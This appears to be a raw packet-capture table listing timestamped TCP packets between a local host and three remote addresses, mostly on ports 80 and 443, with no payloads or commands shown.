Nov 20, 2024 06:40:20.444653988 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444659948 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444677114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444685936 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444694042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444710016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444720984 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444730043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.444753885 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.444973946 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.445024014 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.445051908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.445065022 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.445080042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.445096016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.445108891 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.445111990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.445130110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.445136070 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.445168972 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.445359945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.482450008 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.482518911 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.482573986 CET	49718	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.483061075 CET	49718	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.483098030 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.483124018 CET	49718	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.483139992 CET	443	49718	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.483181953 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.483237982 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.483331919 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.483349085 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.483491898 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.483550072 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.483942032 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.483958006 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.483982086 CET	49716	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.483990908 CET	443	49716	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.485958099 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.485991001 CET	443	49721	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.486113071 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.486152887 CET	49722	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.486243010 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.486342907 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.486355066 CET	443	49721	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.486387968 CET	49722	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.486448050 CET	49722	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.486476898 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.489224911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.490288019 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.490348101 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.490797043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.490812063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.490827084 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.490842104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.490859985 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.490875959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.490968943 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.490983963 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.490998030 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491013050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491024017 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491028070 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491034031 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491044044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491060972 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491070032 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491075993 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491091967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491108894 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491115093 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491130114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491131067 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491144896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491159916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491166115 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491174936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491190910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491194963 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491205931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491219997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491234064 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491240978 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491255045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491262913 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491272926 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491287947 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491327047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491328955 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491328955 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491343975 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491368055 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491381884 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491384983 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491396904 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491410971 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491426945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491430998 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491441011 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491456985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491463900 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491472006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491482019 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491489887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491506100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491508961 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491522074 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491535902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491550922 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491563082 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491566896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491580009 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491584063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491599083 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491611958 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491615057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491631985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.491636038 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.491683960 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.492258072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.495686054 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.495707989 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.495759964 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.495776892 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.495815039 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.495820045 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.495856047 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.495924950 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.495938063 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.495965958 CET	49717	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.495970964 CET	443	49717	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.497839928 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.497853041 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.497909069 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.498019934 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.498029947 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.506654024 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.506725073 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.506896973 CET	49715	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.506934881 CET	49715	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.506934881 CET	49715	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.506953001 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.506967068 CET	443	49715	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.509507895 CET	49724	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.509541988 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.509746075 CET	49724	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.509902954 CET	49724	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.509912014 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.520143032 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.520174980 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.520239115 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.520246029 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.520301104 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.520401001 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.520416975 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.520432949 CET	49714	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.520438910 CET	443	49714	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.522649050 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.522696018 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.522800922 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.522945881 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:20.522959948 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:20.529978037 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530029058 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530033112 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530214071 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530229092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530245066 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530260086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530268908 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530276060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530291080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530306101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530307055 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530322075 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530335903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530343056 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530350924 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530366898 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530380964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530381918 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530395031 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530411005 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530427933 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530488014 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530509949 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530525923 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530564070 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530648947 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530663967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530678034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530684948 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530713081 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530719995 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530736923 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530751944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530766964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530772924 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530782938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530803919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530811071 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.530819893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.530836105 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531049967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531074047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531088114 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531097889 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531112909 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531126976 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531142950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531147957 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531162977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531172991 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531177044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531193018 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531198978 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531208038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531224012 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531233072 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531239986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531254053 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531265020 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531270981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531291008 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531507969 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531522989 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531539917 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531559944 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531564951 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531580925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531584024 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531605005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531619072 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531620026 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531635046 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531651020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531676054 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531699896 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531908989 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531943083 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531956911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531975985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.531980038 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.531991005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.532006025 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.532020092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.532023907 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.532035112 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.532048941 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.532051086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.532064915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.532077074 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.532080889 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.532108068 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.574789047 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.577414036 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577543020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577557087 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577570915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577593088 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577596903 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.577608109 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577622890 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577637911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577657938 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.577660084 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577676058 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577677965 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.577693939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577718973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.577828884 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577843904 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577860117 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577874899 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577878952 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.577889919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577904940 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.577912092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577928066 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577938080 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.577944994 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.577979088 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578027010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578142881 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578161001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578176975 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578191996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578207970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578222036 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578236103 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578238010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578259945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578263998 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578275919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578282118 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578291893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578315973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578484058 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578497887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578512907 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578522921 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578527927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578541994 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578556061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578556061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578578949 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578581095 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578596115 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578610897 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578622103 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578624964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578640938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578649998 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578655958 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578670979 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578682899 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578685999 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578701019 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578716040 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.578718901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.578742027 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.579714060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.579729080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.579745054 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.579757929 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.579804897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.579804897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.614623070 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:20.614706993 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:20.616102934 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:20.616117001 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:20.616532087 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:20.668649912 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:20.827204943 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.871659994 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.882626057 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.887767076 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.887800932 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.887836933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.887849092 CET	49713	80	192.168.2.5	185.215.113.16
